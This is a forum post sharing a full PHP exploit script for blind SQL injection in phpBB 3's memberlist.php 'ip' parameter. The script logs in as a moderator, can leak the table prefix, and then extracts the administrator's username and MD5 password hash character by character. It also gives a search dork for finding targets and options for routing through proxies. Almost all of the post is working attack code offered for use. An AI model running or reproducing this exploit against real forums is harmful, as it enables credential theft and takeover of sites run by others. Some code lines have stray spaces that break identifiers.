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hozarares

Exploit for PHPBB 3.0

By hozarares, in Exploituri

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hozarares Newbie

hozarares

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#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n";

echo "by rgod rgod@autistici.org\n";

echo "site: http://retrogod.altervista.org\n";

echo "dork, version specific: \"Powered by phpBB * 2002, 2009 phpBB Group\"\n\n";

/*

works regardless of php.ini settings

you need a global moderator account with "simple moderator" role

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";

echo "host: target server (ip/hostname)\n";

echo "path: path to phpbb3\n";

echo "user/pass: u need a valid user account with global moderator rights\n";

echo "Options:\n";

echo " -T[prefix] specify a table prefix different from default (phpbb_)\n";

echo " -p[port]: specify a port other than 80\n";

echo " -P[ip:port]: specify a proxy\n";

echo " -u[number]: specify a user id other than 2 (admin)\n";

echo " -x: disclose table prefix through error messages\n";

echo "Example:\r\n";

echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";

echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\B) ';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$port=80;

$prefix="PHPBB_";

$user_id="2";//admin

$discl=0;

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$prefix=str_replace("-T","",$argv[$i]);

}

if ($temp=="-u")

{

$user_id=str_replace("-u","",$argv[$i]);

}

if ($temp=="-x")

{

$discl=1;

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="username=".urlencode($user);

$data.="&password=".urlencode($pass);

$data.="&redirect=index.php";

$data.="&login=Login";

$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";

$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Accept-Encoding: text/plain\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$cookie="";

$temp=explode("Set-Cookie: ",$html);

for ($i=1; $i<=count($temp)-1; $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

if (eregi("_u=1;",$cookie))

{

//echo $html."\n";//debug

//die("Unable to login...");

}

echo "cookie -> ".$cookie."\r\n";

if ($discl)

{

$sql="'suntzuuuuu";

echo "sql -> ".$sql."\n";

$sql=urlencode(strtoupper($sql));

$data="username=";

$data.="&icq=";

$data.="&email=";

$data.="&aim=";

$data.="&joined_select=lt";

$data.="&joined=";

$data.="&yahoo=";

$data.="&active_select=lt";

$data.="&active=";

$data.="&msn=";

$data.="&count_select=eq";

$data.="&count=";

$data.="&jabber=";

$data.="&sk=c";

$data.="&sd=a";

$data.="&ip=".$sql;

$data.="&search_group_id=0";

$data.="&submit=Search";

$packet="POST ".$p."memberlist.php?joined_select=lt&active_s elec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." \r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"You have an error in your SQL syntax"))

{

$temp=explode("posts",$html);

$temp2=explode(" ",$temp[0]);

$prefix=strtoupper($temp2[count($temp2)-1]);

echo "prefix -> ".$prefix."\n";sleep(2);

}

}

$md5s[0]=0;//null

$md5s=array_merge($md5s,range(48,57)); //numbers

$md5s=array_merge($md5s,range(97,102));//a-f letters

//print_r(array_values($md5s));

$j=1;$password="";

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

if (in_array($i,$md5s))

{

$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$us er_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";

echo "sql -> ".$sql."\n";

$sql=urlencode(strtoupper($sql));

$data="username=";

$data.="&icq=";

$data.="&email=";

$data.="&aim=";

$data.="&joined_select=lt";

$data.="&joined=";

$data.="&yahoo=";

$data.="&active_select=lt";

$data.="&active=";

$data.="&msn=";

$data.="&count_select=eq";

$data.="&count=";

$data.="&jabber=";

$data.="&sk=c";

$data.="&sd=a";

$data.="&ip=".$sql;

$data.="&search_group_id=0";

$data.="&submit=Search";

$packet="POST ".$p."memberlist.php?joined_select=lt&active_s elec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." \r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}

}

if ($i==255) {die("Exploit failed...");}

}

$j++;

}

$j=1;$admin="";

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id ,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";

echo "sql -> ".$sql."\n";

$sql=urlencode(strtoupper($sql));

$data="username=";

$data.="&icq=";

$data.="&email=";

$data.="&aim=";

$data.="&joined_select=lt";

$data.="&joined=";

$data.="&yahoo=";

$data.="&active_select=lt";

$data.="&active=";

$data.="&msn=";

$data.="&count_select=eq";

$data.="&count=";

$data.="&jabber=";

$data.="&sk=c";

$data.="&sd=a";

$data.="&ip=".$sql;

$data.="&search_group_id=0";

$data.="&submit=Search";

$packet="POST ".$p."memberlist.php?joined_select=lt&active_s elec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." \r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}

}

if ($i==255) {die("Exploit failed...");}

$j++;

}

echo "--------------------------------------------------------------------\r\n";

echo "admin -> ".$admin."\r\n";

echo "password (md5) -> ".$password."\r\n";

echo "--------------------------------------------------------------------\r\n";

function is_hash($hash)

{

if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}

else {return false;}

}

if (is_hash($password)) {echo "Exploit succeeded...";}

else {echo "Exploit failed...";}

?>

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